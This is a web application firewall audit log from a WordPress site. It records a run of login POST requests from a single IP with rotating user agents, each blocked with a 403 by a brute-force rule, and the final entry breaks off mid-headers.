Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313960420270 2003 (- - -)
Stopwatch2: 1789313960420270 2003; combined=768, p1=333, p2=124, p3=0, p4=0, p5=311, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e10f2e44-Z--

--5e83dd67-A--
[13/Sep/2026:18:39:20.861767 +0300] aqbDqPut1GUrjaX0wO44mQAAANA 134.185.87.66 59874 127.0.0.1 7081
--5e83dd67-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5e83dd67-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5e83dd67-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313960859929 1901 (- - -)
Stopwatch2: 1789313960859929 1901; combined=701, p1=308, p2=79, p3=0, p4=0, p5=314, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5e83dd67-Z--

--5459b76b-A--
[13/Sep/2026:18:39:21.250126 +0300] aqbDqfut1GUrjaX0wO44mwAAAMI 134.185.87.66 59890 127.0.0.1 7081
--5459b76b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5459b76b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5459b76b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313961248276 1918 (- - -)
Stopwatch2: 1789313961248276 1918; combined=714, p1=317, p2=101, p3=0, p4=0, p5=295, sr=115, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5459b76b-Z--

--f8269c1b-A--
[13/Sep/2026:18:39:21.633999 +0300] aqbDqUhjHs68UzErry1KzQAAAIc 134.185.87.66 59912 127.0.0.1 7081
--f8269c1b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f8269c1b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f8269c1b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313961632068 1996 (- - -)
Stopwatch2: 1789313961632068 1996; combined=740, p1=368, p2=87, p3=0, p4=0, p5=285, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f8269c1b-Z--

--4e08e17c-A--
[13/Sep/2026:18:39:22.025941 +0300] aqbDqhsbgHO3aGL3jiTwtQAAAAk 134.185.87.66 59928 127.0.0.1 7081
--4e08e17c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--4e08e17c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4e08e17c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313962024260 1735 (- - -)
Stopwatch2: 1789313962024260 1735; combined=575, p1=237, p2=80, p3=0, p4=0, p5=257, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4e08e17c-Z--

--0b42f24e-A--
[13/Sep/2026:18:39:22.404143 +0300] aqbDqvut1GUrjaX0wO44ngAAAMs 134.185.87.66 59948 127.0.0.1 7081
--0b42f24e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--0b42f24e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0b42f24e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313962402512 1755 (- - -)
Stopwatch2: 1789313962402512 1755; combined=597, p1=256, p2=106, p3=0, p4=0, p5=235, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0b42f24e-Z--

--4562632a-A--
[13/Sep/2026:18:39:22.785973 +0300] aqbDqvut1GUrjaX0wO44oAAAANY 134.185.87.66 59954 127.0.0.1 7081
--4562632a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--4562632a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4562632a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313962783978 2063 (- - -)
Stopwatch2: 1789313962783978 2063; combined=740, p1=352, p2=92, p3=0, p4=0, p5=295, sr=182, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4562632a-Z--

--2d1e3a14-A--
[13/Sep/2026:18:39:23.171748 +0300] aqbDq-ut1GUrjaX0wO44ogAAAMQ 134.185.87.66 59972 127.0.0.1 7081
--2d1e3a14-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 105
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--2d1e3a14-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2d1e3a14-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313963170272 1533 (- - -)
Stopwatch2: 1789313963170272 1533; combined=519, p1=211, p2=57, p3=0, p4=0, p5=251, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2d1e3a14-Z--

--4f9d691b-A--
[13/Sep/2026:18:39:23.557843 +0300] aqbDq-ut1GUrjaX0wO44qgAAAMk 134.185.87.66 60048 127.0.0.1 7081
--4f9d691b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--4f9d691b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4f9d691b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313963556225 1673 (- - -)
Stopwatch2: 1789313963556225 1673; combined=585, p1=225, p2=63, p3=0, p4=0, p5=297, sr=77, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4f9d691b-Z--

--09769655-A--
[13/Sep/2026:18:39:23.937578 +0300] aqbDq-ut1GUrjaX0wO44sAAAAM4 134.185.87.66 60110 127.0.0.1 7081
--09769655-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--09769655-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--09769655-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313963935818 1865 (- - -)
Stopwatch2: 1789313963935818 1865; combined=573, p1=219, p2=80, p3=0, p4=0, p5=274, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--09769655-Z--

--f574b401-A--
[13/Sep/2026:18:39:24.334306 +0300] aqbDrPut1GUrjaX0wO44tgAAANU 134.185.87.66 60172 127.0.0.1 7081
--f574b401-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f574b401-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f574b401-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313964331441 3000 (- - -)
Stopwatch2: 1789313964331441 3000; combined=1090, p1=518, p2=122, p3=0, p4=0, p5=450, sr=281, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f574b401-Z--

--049f1d50-A--
[13/Sep/2026:18:39:24.735727 +0300] aqbDrPut1GUrjaX0wO44vQAAAM8 134.185.87.66 60242 127.0.0.1 7081
--049f1d50-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--049f1d50-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--049f1d50-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313964734093 1689 (- - -)
Stopwatch2: 1789313964734093 1689; combined=563, p1=239, p2=69, p3=0, p4=0, p5=255, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--049f1d50-Z--

--65244233-A--
[13/Sep/2026:18:39:25.156011 +0300] aqbDrfut1GUrjaX0wO44wAAAAMM 134.185.87.66 60274 127.0.0.1 7081
--65244233-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--65244233-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--65244233-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313965154371 1702 (- - -)
Stopwatch2: 1789313965154371 1702; combined=572, p1=254, p2=68, p3=0, p4=0, p5=249, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--65244233-Z--

--3041c56d-A--
[13/Sep/2026:18:39:25.549543 +0300] aqbDrfut1GUrjaX0wO44wgAAANQ 134.185.87.66 46680 127.0.0.1 7081
--3041c56d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--3041c56d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3041c56d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313965547948 1653 (- - -)
Stopwatch2: 1789313965547948 1653; combined=554, p1=258, p2=66, p3=0, p4=0, p5=230, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3041c56d-Z--

--8e29dc0a-A--
[13/Sep/2026:18:39:25.929768 +0300] aqbDrfut1GUrjaX0wO44xAAAANM 134.185.87.66 46706 127.0.0.1 7081
--8e29dc0a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--8e29dc0a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--8e29dc0a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313965927932 1914 (- - -)
Stopwatch2: 1789313965927932 1914; combined=681, p1=318, p2=78, p3=0, p4=0, p5=285, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8e29dc0a-Z--

--beabb25e-A--
[13/Sep/2026:18:39:26.311127 +0300] aqbDrvut1GUrjaX0wO44xgAAAMw 134.185.87.66 46722 127.0.0.1 7081
--beabb25e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--beabb25e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--beabb25e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313966309376 1830 (- - -)
Stopwatch2: 1789313966309376 1830; combined=664, p1=269, p2=117, p3=0, p4=0, p5=278, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--beabb25e-Z--

--5caaea05-A--
[13/Sep/2026:18:39:26.697821 +0300] aqbDrldqBhgxDSpG7haLEwAAAFQ 134.185.87.66 46734 127.0.0.1 7081
--5caaea05-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
